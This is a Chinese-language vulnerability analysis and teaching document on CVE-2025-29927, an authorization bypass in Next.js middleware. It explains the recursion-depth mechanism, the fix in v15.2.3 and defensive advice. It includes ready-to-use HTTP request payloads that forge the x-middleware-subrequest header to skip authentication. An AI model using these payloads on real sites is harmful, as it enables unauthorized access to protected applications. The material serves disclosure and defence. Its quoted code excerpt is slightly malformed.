Next.js中间件权限绕过漏洞分析(CVE-2025-29927)
字数 1620 2025-08-29 08:29:58
Next.js中间件权限绕过漏洞分析(CVE-2025-29927)教学文档
一、漏洞概述
CVE-2025-29927是Next.js框架中存在的一个高危中间件逻辑绕过漏洞,允许攻击者通过构造特定HTTP请求头,绕过中间件的安全控制逻辑(如身份验证、路径重写、CSP防护等)。该漏洞CVSS评分9.1(Critical),可导致未授权访问、数据泄露及拒绝服务攻击。
二、漏洞背景
Next.js中间件功能
Next.js中间件(Middleware)允许开发者在请求到达目标路由前执行代码,典型应用场景包括:
- 身份验证:检查用户会话Cookie,拦截未授权请求
- 路径重写:动态修改请求路径(如多语言路由/en/home → /home)
- 安全头设置:添加CSP、CORS等安全响应头
中间件的安全性直接决定了应用的核心防护能力。若中间件逻辑被绕过,攻击者可直接访问后端业务逻辑。
三、漏洞机制分析
漏洞核心原理
-
递归请求处理机制:
- 用户请求在middleware中会请求身份验证接口
- 请求身份验证接口也会经过middleware
- Next.js通过
x-middleware-subrequest头标识内部递归请求
-
递归限制机制:
- 每次递归请求都会向
x-middleware-subrequest头添加一次middleware标识 - 如果递归请求达到五次,就会返回带有
'x-middleware-next': '1'的响应 - 该响应表示忽略中间件的所有逻辑(包括鉴权检查)
- 每次递归请求都会向
关键代码分析
const subreq = params.request.headers[`x-middleware-subrequest`]
const subrequests = subreq.split(':') : []
const MAX_RECURSION_DEPTH = 5
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new runtime.context.Response(null, {
headers: {'x-middleware-next': '1',},
}),
}
}
漏洞成因
-
路径暴露:
- 中间件的逻辑路径(middlewareInfo.name)可被攻击者推测
- 路径信息存储在
.next/server/middleware-build-manifest.json文件中
-
校验宽松:
- 未对外部请求的
x-middleware-subrequest头进行过滤 - 允许伪造内部请求标识
- 未对外部请求的
四、漏洞利用
Payload构造方法
-
确定中间件路径标识:
- 中间件在根目录
middleware.ts→ 标识为middleware - 中间件在
src目录src/middleware.ts→ 标识为src/middleware
- 中间件在根目录
-
构造恶意请求头:
对于根目录middleware:
GET /dashboard HTTP/1.1
Host: localdomain:3000
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
对于src目录middleware:
GET /dashboard HTTP/1.1
Host: localdomain:3000
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
五、漏洞复现
- 搭建漏洞环境:参考lem0n817/CVE-2025-29927
- 使用上述Payload构造请求
- 观察是否绕过中间件权限控制
六、漏洞修复
修复方案
Next.js在v15.2.3版本中修复了该漏洞,关键修复点:
-
动态令牌验证:
- 引入
x-middleware-subrequest-id头进行验证 - 使用加密符号存储(Symbol.for)严格区分内外请求
- 引入
-
请求头过滤:
- 非法伪造的
x-middleware-subrequest头会被自动删除 - 确保中间件安全逻辑不被绕过
- 非法伪造的
修复代码对比
参考:Comparing v15.2.2...v15.2.3 · vercel/next.js
七、防御建议
- 升级Next.js:立即升级到v15.2.3或更高版本
- 中间件设计:
- 避免在中间件中进行复杂的递归调用
- 对关键路径添加额外的权限验证
- 请求头验证:
- 严格验证所有传入的请求头
- 特别是
x-middleware-*系列头部
八、参考资源
- 代码审计-知识星球
- Next.js 和损坏的中间件:授权工件 - zhero_web_security
- CVE 2025 29927 Nextjs Auth Bypass - chestnut's blog
九、总结
CVE-2025-29927是一个严重的Next.js中间件绕过漏洞,攻击者可通过构造特定的HTTP请求头完全绕过中间件的安全控制。开发人员应及时升级框架版本,并审查现有中间件实现的安全性。